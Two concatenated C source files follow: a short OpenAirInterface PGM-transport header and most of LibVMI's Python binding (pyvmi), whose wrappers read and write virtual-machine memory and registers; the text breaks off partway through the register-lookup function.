/******************************************************************************* OpenAirInterface Copyright(c) 1999 - 2014 Eurecom OpenAirInterface is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OpenAirInterface is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenAirInterface.The full GNU General Public License is included in this distribution in the file called "COPYING". If not, see <http://www.gnu.org/licenses/>. Contact Information OpenAirInterface Admin: openair_admin@eurecom.fr OpenAirInterface Tech : openair_tech@eurecom.fr OpenAirInterface Dev : openair4g-devel@lists.eurecom.fr Address : Eurecom, Campus SophiaTech, 450 Route des Chappes, CS 50193 - 06904 Biot Sophia Antipolis cedex, FRANCE *******************************************************************************/ #ifndef PGM_LINK_H_ #define PGM_LINK_H_ /* Define prototypes only if enabled */ #if defined(ENABLE_PGM_TRANSPORT) void bypass_tx_nack(unsigned int frame, unsigned int next_slot); int pgm_oai_init(char *if_name); int pgm_recv_msg(int group, uint8_t *buffer, uint32_t length, unsigned int frame, unsigned int next_slot); int pgm_link_send_msg(int group, uint8_t *data, uint32_t len); #endif #endif /* PGM_LINK_H_ */
herlesupreeth/OAI-5G
openair1/SIMULATION/ETH_TRANSPORT/pgm_link.h
C
gpl-3.0
1,733
/* The LibVMI Library is an introspection library that simplifies access to * memory in a target virtual machine or in a file containing a dump of * a system's physical memory. LibVMI is based on the XenAccess Library. * * Copyright 2011 Sandia Corporation. Under the terms of Contract * DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government * retains certain rights in this software. * * Author: Bryan D. Payne (bdpayne@acm.org) * * This file is part of LibVMI. * * LibVMI is free software: you can redistribute it and/or modify it under * the terms of the GNU Lesser General Public License as published by the * Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * LibVMI is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public * License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with LibVMI. If not, see <http://www.gnu.org/licenses/>. */ #include <Python.h> #include <string.h> #include <stdio.h> #include <glib.h> #include <libvmi/libvmi.h> #define vmi(v) (((pyvmi_instance *)(v))->vmi) #define mem(v) (((pyvmi_instance *)(v))->memory) #define desc(v) (((pyvmi_instance *)(v))->desc) #define conf(v) (((pyvmi_instance *)(v))->config) #define MAX_CONFIG_BUFFER 20 // PyVmi instance type fwdref staticforward PyTypeObject pyvmi_instance_Type; typedef struct { addr_t buffer[MAX_CONFIG_BUFFER]; uint32_t num_entries; GHashTable *table; } pyvmi_config; typedef struct { PyObject_HEAD vmi_instance_t vmi; // LibVMI instance void *memory; char *desc; pyvmi_config *config; } pyvmi_instance; status_t pyvmi_add_to_config( pyvmi_config *config, PyObject * pykey, PyObject * pyvalue ) { status_t ret=VMI_FAILURE; if(PyString_Check(pykey)) { char *key = PyString_AS_STRING(pykey); if(PyString_Check(pyvalue)) { // We can insert the string pointers directly to the ghashtable // as Python gave us a pointer and it has the data (we don't need to dup the string here). char *svalue=PyString_AS_STRING(pyvalue); g_hash_table_insert(config->table, key, svalue); ret=VMI_SUCCESS; } else if(PyInt_Check(pyvalue)) { // Numeric values are given by value by Python, so these have to be buffered if(config->num_entries < MAX_CONFIG_BUFFER) { config->buffer[config->num_entries] = PyInt_AsUnsignedLongMask(pyvalue); g_hash_table_insert(config->table, key, &(config->buffer[config->num_entries])); config->num_entries++; ret=VMI_SUCCESS; } else { PyErr_SetString(PyExc_ValueError, "Not enough space in config buffer."); } } else { PyErr_SetString(PyExc_ValueError, "Value has to be either String or Int"); } } else { PyErr_SetString(PyExc_ValueError, "Key has to be a String"); } return ret; } // Constructor & Destructor static PyObject * pyvmi_init( PyObject * self, PyObject * args) { pyvmi_instance *object = NULL; object = PyObject_NEW(pyvmi_instance, &pyvmi_instance_Type); mem(object) = NULL; desc(object) = NULL; conf(object) = NULL; char *vmname=NULL, *inittype=NULL; uint32_t flags = 0; PyObject *dict = NULL; vmi_config_t vmiconfig = NULL; if (PyArg_ParseTuple(args, "ss", &vmname, &inittype)) { flags |= VMI_CONFIG_GLOBAL_FILE_ENTRY; vmiconfig = (vmi_config_t)vmname; } else if(PyArg_ParseTuple(args, "O!", &PyDict_Type, &dict)) { flags |= VMI_CONFIG_GHASHTABLE; // convert dict to GHashTable conf(object) = malloc(sizeof(pyvmi_config)); conf(object)->num_entries = 0; conf(object)->table = g_hash_table_new(g_str_hash, g_str_equal); vmiconfig = (vmi_config_t)(conf(object)->table); PyObject *pykey, *pyvalue; Py_ssize_t pos = 0; while (PyDict_Next(dict, &pos, &pykey, &pyvalue)) { if(VMI_FAILURE==pyvmi_add_to_config(conf(object), pykey, pyvalue)) { goto init_fail; } } inittype = g_hash_table_lookup(conf(object)->table, "inittype"); if(inittype == NULL) { goto init_fail; } } else { PyErr_SetString(PyExc_ValueError, "Unknown input types received!"); goto init_fail; } if (strcmp("complete", inittype) == 0) { flags |= VMI_AUTO | VMI_INIT_COMPLETE; } else if (strcmp("partial", inittype) == 0) { flags |= VMI_AUTO | VMI_INIT_PARTIAL; } else { PyErr_SetString(PyExc_ValueError, "Inittype must be 'complete' or 'partial'"); goto init_fail; } if (VMI_FAILURE == vmi_init_custom(&(vmi(object)), flags, vmiconfig)) { PyErr_SetString(PyExc_ValueError, "Init failed"); goto init_fail; } // Once libvmi inits we don't need to keep the config anymore if(flags & VMI_CONFIG_GHASHTABLE) { g_hash_table_destroy(conf(object)->table); free(conf(object)); } vmname = vmi_get_name(vmi(object)); if(vmname) { desc(object)=vmname; } else { uint32_t domid = vmi_get_vmid(vmi(object)); char *domidstring = malloc(snprintf(NULL, 0, "domid-%u", domid)+1); sprintf(domidstring, "domid-%u", domid); desc(object)=domidstring; } return (PyObject *)object; init_fail: if(flags & VMI_CONFIG_GHASHTABLE) { g_hash_table_destroy(conf(object)->table); free(conf(object)); } return NULL; } static PyObject * pyvmi_init_complete( PyObject * self, PyObject * args) { char *config = NULL; if (!PyArg_ParseTuple(args, "s", &config)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_init_complete(&(vmi(self)), config)) { PyErr_SetString(PyExc_ValueError, "Init complete failed"); return NULL; } return Py_BuildValue(""); // return None } static void pyvmi_instance_dealloc( PyObject * self) { vmi_destroy(vmi(self)); if (mem(self)) { free(mem(self)); } if (desc(self)) { free(desc(self)); } PyObject_DEL(self); } //------------------------------------------------------------------- // Translate functions static PyObject * pyvmi_translate_kv2p( PyObject * self, PyObject * args) { addr_t vaddr; if (!PyArg_ParseTuple(args, "K", &vaddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } addr_t paddr = vmi_translate_kv2p(vmi(self), vaddr); if (!paddr) { PyErr_SetString(PyExc_ValueError, "Address translation failed"); return NULL; } return Py_BuildValue("K", paddr); } static PyObject * pyvmi_translate_uv2p( PyObject * self, PyObject * args) { addr_t vaddr; int pid; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } addr_t paddr = vmi_translate_uv2p(vmi(self), vaddr, pid); if (!paddr) { PyErr_SetString(PyExc_ValueError, "Address translation failed"); return NULL; } return Py_BuildValue("K", paddr); } static PyObject * pyvmi_translate_ksym2v( PyObject * self, PyObject * args) { char *sym; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } addr_t vaddr = vmi_translate_ksym2v(vmi(self), sym); if (!vaddr) { PyErr_SetString(PyExc_ValueError, "Symbol lookup failed"); return NULL; } return Py_BuildValue("K", vaddr); } static PyObject * pyvmi_pid_to_dtb( PyObject * self, PyObject * args) { int pid; if (!PyArg_ParseTuple(args, "i", &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } addr_t dtb = vmi_pid_to_dtb(vmi(self), pid); if (!dtb) { PyErr_SetString(PyExc_ValueError, "DTB lookup failed"); return NULL; } return Py_BuildValue("K", dtb); } //------------------------------------------------------------------- // Primary read functions static PyObject * pyvmi_read_pa( PyObject * self, PyObject * args) { addr_t paddr; uint32_t length; char msg[1024]; #define ll_t unsigned long long if (!PyArg_ParseTuple(args, "KI", &paddr, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (mem(self)) { free(mem(self)); } mem(self) = malloc(length); if (!mem(self)) { PyErr_SetString(PyExc_MemoryError, "malloc failed"); return NULL; } // if size_t nbytes = vmi_read_pa(vmi(self), paddr, mem(self), length); if (nbytes != length) { snprintf(msg, sizeof(msg), "%s was asked to read PA [0x%.16llx-0x%.16llx] (%d bytes), but only read %lld bytes)", __FUNCTION__, (ll_t) paddr, (ll_t) (paddr + length), length, (ll_t) nbytes); PyErr_SetString(PyExc_ValueError, msg); return NULL; } return Py_BuildValue("s#", mem(self), length); } // Similar to pyvmi_read_pa, but puts zeros in memory holes instead of failing static PyObject * pyvmi_zread_pa( PyObject * self, PyObject * args) { addr_t paddr; uint32_t length; #define ll_t unsigned long long #define PAGE_SIZE 0x1000 // minimal PAGE_SIZE #define PAGE_MASK 0xfff #define PAGE_SHIFT 12 if (!PyArg_ParseTuple(args, "KI", &paddr, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (mem(self)) { free(mem(self)); mem(self) = 0; } if (0 == length) { return Py_BuildValue("s#", NULL, 0); } mem(self) = malloc(length); if (!mem(self)) { PyErr_SetString(PyExc_MemoryError, "malloc failed"); return NULL; } // if memset(mem(self), 0, length); size_t remaining = (size_t) length; uint8_t *target = (uint8_t *) (mem(self)); while (remaining > 0) { // calculate how many bytes to read size_t count = PAGE_SIZE; if (paddr & PAGE_MASK) { // an offset was given count = PAGE_SIZE - (paddr & PAGE_MASK); // read to end of PAGE } if (remaining < count) { // don't read more than requested count = remaining; } // ignore return value here (void) vmi_read_pa(vmi(self), paddr, target, count); remaining -= count; paddr += count; target += count; } // while return Py_BuildValue("s#", mem(self), length); } static PyObject * pyvmi_read_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint32_t length; if (!PyArg_ParseTuple(args, "KiI", &vaddr, &pid, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (mem(self)) { free(mem(self)); } mem(self) = malloc(length); if (!mem(self)) { PyErr_SetString(PyExc_MemoryError, "malloc failed"); return NULL; } // if size_t nbytes = vmi_read_va(vmi(self), vaddr, pid, mem(self), length); if (nbytes != length) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("s#", mem(self), length); } static PyObject * pyvmi_read_ksym( PyObject * self, PyObject * args) { char *sym; uint32_t length; if (!PyArg_ParseTuple(args, "sI", &sym, &length)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (mem(self)) { free(mem(self)); } mem(self) = malloc(length); if (!mem(self)) { PyErr_SetString(PyExc_MemoryError, "malloc failed"); return NULL; } // if size_t nbytes = vmi_read_ksym(vmi(self), sym, mem(self), length); if (nbytes != length) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("s#", mem(self), length); } //------------------------------------------------------------------- // Primary write functions static PyObject * pyvmi_write_pa( PyObject * self, PyObject * args) { addr_t paddr; void *buf; int count; if (!PyArg_ParseTuple(args, "Is#", &paddr, &buf, &count)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } size_t nbytes = vmi_write_pa(vmi(self), paddr, buf, (size_t) count); if (nbytes != count) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue("I", nbytes); } static PyObject * pyvmi_write_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; void *buf; int count; if (!PyArg_ParseTuple(args, "Iis#", &vaddr, &pid, &buf, &count)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } size_t nbytes = vmi_write_va(vmi(self), vaddr, pid, buf, (size_t) count); if (nbytes != count) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue("I", nbytes); } static PyObject * pyvmi_write_ksym( PyObject * self, PyObject * args) { char *sym; void *buf; int count; if (!PyArg_ParseTuple(args, "ss#", &sym, &buf, &count)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } size_t nbytes = vmi_write_ksym(vmi(self), sym, buf, (size_t) count); if (nbytes != count) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue("I", nbytes); } //------------------------------------------------------------------- // Utility read functions static PyObject * pyvmi_read_8_pa( PyObject * self, PyObject * args) { addr_t paddr; uint8_t value; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_8_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("B", value); } static PyObject * pyvmi_read_16_pa( PyObject * self, PyObject * args) { addr_t paddr; uint16_t value; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_16_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("H", value); } static PyObject * pyvmi_read_32_pa( PyObject * self, PyObject * args) { addr_t paddr; uint32_t value; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_32_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("I", value); } static PyObject * pyvmi_read_64_pa( PyObject * self, PyObject * args) { addr_t paddr; uint64_t value; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_64_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_read_addr_pa( PyObject * self, PyObject * args) { addr_t paddr; addr_t value; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_addr_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("B", value); } static PyObject * pyvmi_read_str_pa( PyObject * self, PyObject * args) { addr_t paddr; char *str = NULL; if (!PyArg_ParseTuple(args, "K", &paddr)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if ((str = vmi_read_str_pa(vmi(self), paddr)) == NULL) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("s", str); } static PyObject * pyvmi_read_8_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint8_t value; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_8_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("B", value); } static PyObject * pyvmi_read_16_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint16_t value; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_16_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("H", value); } static PyObject * pyvmi_read_32_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint32_t value; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_32_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("I", value); } static PyObject * pyvmi_read_64_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint64_t value; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_64_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_read_addr_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; addr_t value; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_addr_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_read_str_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; char *str = NULL; if (!PyArg_ParseTuple(args, "Ki", &vaddr, &pid)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if ((str = vmi_read_str_va(vmi(self), vaddr, pid)) == NULL) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("s", str); } static PyObject * pyvmi_read_8_ksym( PyObject * self, PyObject * args) { char *sym; uint8_t value; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_8_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("B", value); } static PyObject * pyvmi_read_16_ksym( PyObject * self, PyObject * args) { char *sym; uint16_t value; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_16_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("H", value); } static PyObject * pyvmi_read_32_ksym( PyObject * self, PyObject * args) { char *sym; uint32_t value; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_32_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("I", value); } static PyObject * pyvmi_read_64_ksym( PyObject * self, PyObject * args) { char *sym; uint64_t value; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_64_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_read_addr_ksym( PyObject * self, PyObject * args) { char *sym; addr_t value; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_read_addr_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("K", value); } static PyObject * pyvmi_read_str_ksym( PyObject * self, PyObject * args) { char *sym; char *str = NULL; if (!PyArg_ParseTuple(args, "s", &sym)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if ((str = vmi_read_str_ksym(vmi(self), sym)) == NULL) { PyErr_SetString(PyExc_ValueError, "Unable to read memory at specified address"); return NULL; } return Py_BuildValue("s", str); } //------------------------------------------------------------------- // Utility write functions static PyObject * pyvmi_write_8_pa( PyObject * self, PyObject * args) { addr_t paddr; uint8_t value; if (!PyArg_ParseTuple(args, "Ic", &paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_8_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_16_pa( PyObject * self, PyObject * args) { addr_t paddr; uint16_t value; if (!PyArg_ParseTuple(args, "IH", &paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_16_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_32_pa( PyObject * self, PyObject * args) { addr_t paddr; uint32_t value; if (!PyArg_ParseTuple(args, "II", &paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_32_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_64_pa( PyObject * self, PyObject * args) { addr_t paddr; uint64_t value; if (!PyArg_ParseTuple(args, "IK", &paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_64_pa(vmi(self), paddr, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_8_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint8_t value; if (!PyArg_ParseTuple(args, "Iic", &vaddr, &pid, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_8_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_16_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint16_t value; if (!PyArg_ParseTuple(args, "IiH", &vaddr, &pid, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_16_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_32_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint32_t value; if (!PyArg_ParseTuple(args, "IiI", &vaddr, &pid, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_32_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_64_va( PyObject * self, PyObject * args) { addr_t vaddr; int pid; uint64_t value; if (!PyArg_ParseTuple(args, "IiK", &vaddr, &pid, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_64_va(vmi(self), vaddr, pid, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_8_ksym( PyObject * self, PyObject * args) { char *sym; uint8_t value; if (!PyArg_ParseTuple(args, "sc", &sym, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_8_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_16_ksym( PyObject * self, PyObject * args) { char *sym; uint16_t value; if (!PyArg_ParseTuple(args, "sH", &sym, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_16_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_32_ksym( PyObject * self, PyObject * args) { char *sym; uint32_t value; if (!PyArg_ParseTuple(args, "sI", &sym, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_32_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } static PyObject * pyvmi_write_64_ksym( PyObject * self, PyObject * args) { char *sym; uint64_t value; if (!PyArg_ParseTuple(args, "sK", &sym, &value)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } if (VMI_FAILURE == vmi_write_64_ksym(vmi(self), sym, &value)) { PyErr_SetString(PyExc_ValueError, "Unable to write memory at specified address"); return NULL; } return Py_BuildValue(""); } //------------------------------------------------------------------- // Accessor and other utility functions static PyObject * pyvmi_get_vcpureg( PyObject * self, PyObject * args) { char *reg_name = NULL; unsigned long vcpu = 0; if (!PyArg_ParseTuple(args, "sI", &reg_name, &vcpu)) { PyErr_SetString(PyExc_ValueError, "Invalid argument(s) to function"); return NULL; } reg_t value; registers_t reg; if (strcmp(reg_name, "RAX") == 0 || strcmp(reg_name, "rax") == 0) { reg = RAX; } else if (strcmp(reg_name, "RBX") == 0 || strcmp(reg_name, "rbx") == 0) { reg = RBX; } else if (strcmp(reg_name, "RCX") == 0 || strcmp(reg_name, "rcx") == 0) { reg = RCX; } else if (strcmp(reg_name, "RDX") == 0 || strcmp(reg_name, "rdx") == 0) { reg = RDX; } else if (strcmp(reg_name, "RBP") == 0 || strcmp(reg_name, "rbp") == 0) { reg = RBP; } else if (strcmp(reg_name, "RSI") == 0 || strcmp(reg_name, "rsi") == 0) { reg = RSI; } else if (strcmp(reg_name, "RDI") == 0 || strcmp(reg_name, "rdi") == 0) { reg = RDI; } else if (strcmp(reg_name, "RSP") == 0 || strcmp(reg_name, "rsp") == 0) { reg = RSP; } else if (strcmp(reg_name, "R8") == 0 || strcmp(reg_name, "r8") == 0) { reg = R8; } else if (strcmp(reg_name, "R9") == 0 || strcmp(reg_name, "r9") == 0) { reg = R9; } else if (strcmp(reg_name, "R10") == 0 || strcmp(reg_name, "r10") == 0) { reg = R10; } else if (strcmp(reg_name, "R11") == 0 || strcmp(reg_name, "r11") == 0) { reg = R11; } else if (strcmp(reg_name, "R12") == 0 || strcmp(reg_name, "r12") == 0) { reg = R12; } else if (strcmp(reg_name, "R13") == 0 || strcmp(reg_name, "r13") == 0) { reg = R13; } else if (strcmp(reg_name, "R14") == 0 || strcmp(reg_name, "r14") == 0) { reg = R14; } else if (strcmp(reg_name, "R15") == 0 || strcmp(reg_name, "r15") == 0) { reg = R15; } else if (strcmp(reg_name, "RIP") == 0 || strcmp(reg_name, "rip") == 0) { reg = RIP; } else if (strcmp(reg_name, "RFLAGS") == 0 || strcmp(reg_name, "rflags") == 0) { reg = RFLAGS; } else if (strcmp(reg_name, "CR0") == 0 || strcmp(reg_name, "cr0") == 0) { reg = CR0; } else if (strcmp(reg_name, "CR2") == 0 || strcmp(reg_name, "cr2") == 0) { reg = CR2; } else if (strcmp(reg_name, "CR3") == 0 || strcmp(reg_name, "cr3") == 0) { reg = CR3; } else if (strcmp(reg_name, "CR4") == 0 || strcmp(reg_name, "cr4") == 0) { reg = CR4; } else if (strcmp(reg_name, "DR0") == 0 || strcmp(reg_name, "dr0") == 0) { reg = DR0; } else if (strcmp(reg_name, "DR1") == 0 || strcmp(reg_name, "dr1") == 0) { reg = DR1; } else if (strcmp(reg_name, "DR2") == 0 || strcmp(reg_name, "dr2") == 0) { reg = DR2; } else if (strcmp(reg_name, "DR3") == 0 || strcmp(reg_name, "dr3") == 0) { reg = DR3; } else if (strcmp(reg_name, "DR6") == 0 || strcmp(reg_name, "dr6") == 0) { reg = DR6; } else if (strcmp(reg_name, "DR7") == 0 || strcmp(reg_name, "dr7") == 0) { reg = DR7; } else if (strcmp(reg_name, "CS_SEL") == 0 || strcmp(reg_name, "cs_sel") == 0) { reg = CS_SEL; } else if (strcmp(reg_name, "DS_SEL") == 0 || strcmp(reg_name, "ds_sel") == 0) { reg = DS_SEL; } else if (strcmp(reg_name, "ES_SEL") == 0 || strcmp(reg_name, "es_sel") == 0) { reg = ES_SEL; } else if (strcmp(reg_name, "FS_SEL") == 0 || strcmp(reg_name, "fs_sel") == 0) { reg = FS_SEL; } else if (strcmp(reg_name, "GS_SEL") == 0 || strcmp(reg_name, "gs_sel") == 0) { reg = GS_SEL; } else if (strcmp(reg_name, "SS_SEL") == 0 || strcmp(reg_name, "ss_sel") == 0) { reg = SS_SEL; } else if (strcmp(reg_name, "TR_SEL") == 0 || strcmp(reg_name, "tr_sel") == 0) { reg = TR_SEL; } else if (strcmp(reg_name, "LDTR_SEL") == 0 || strcmp(reg_name, "ldtr_sel") == 0) { reg = LDTR_SEL; } else if (strcmp(reg_name, "CS_LIMIT") == 0 || strcmp(reg_name, "cs_limit") == 0) { reg = CS_LIMIT; } else if (strcmp(reg_name, 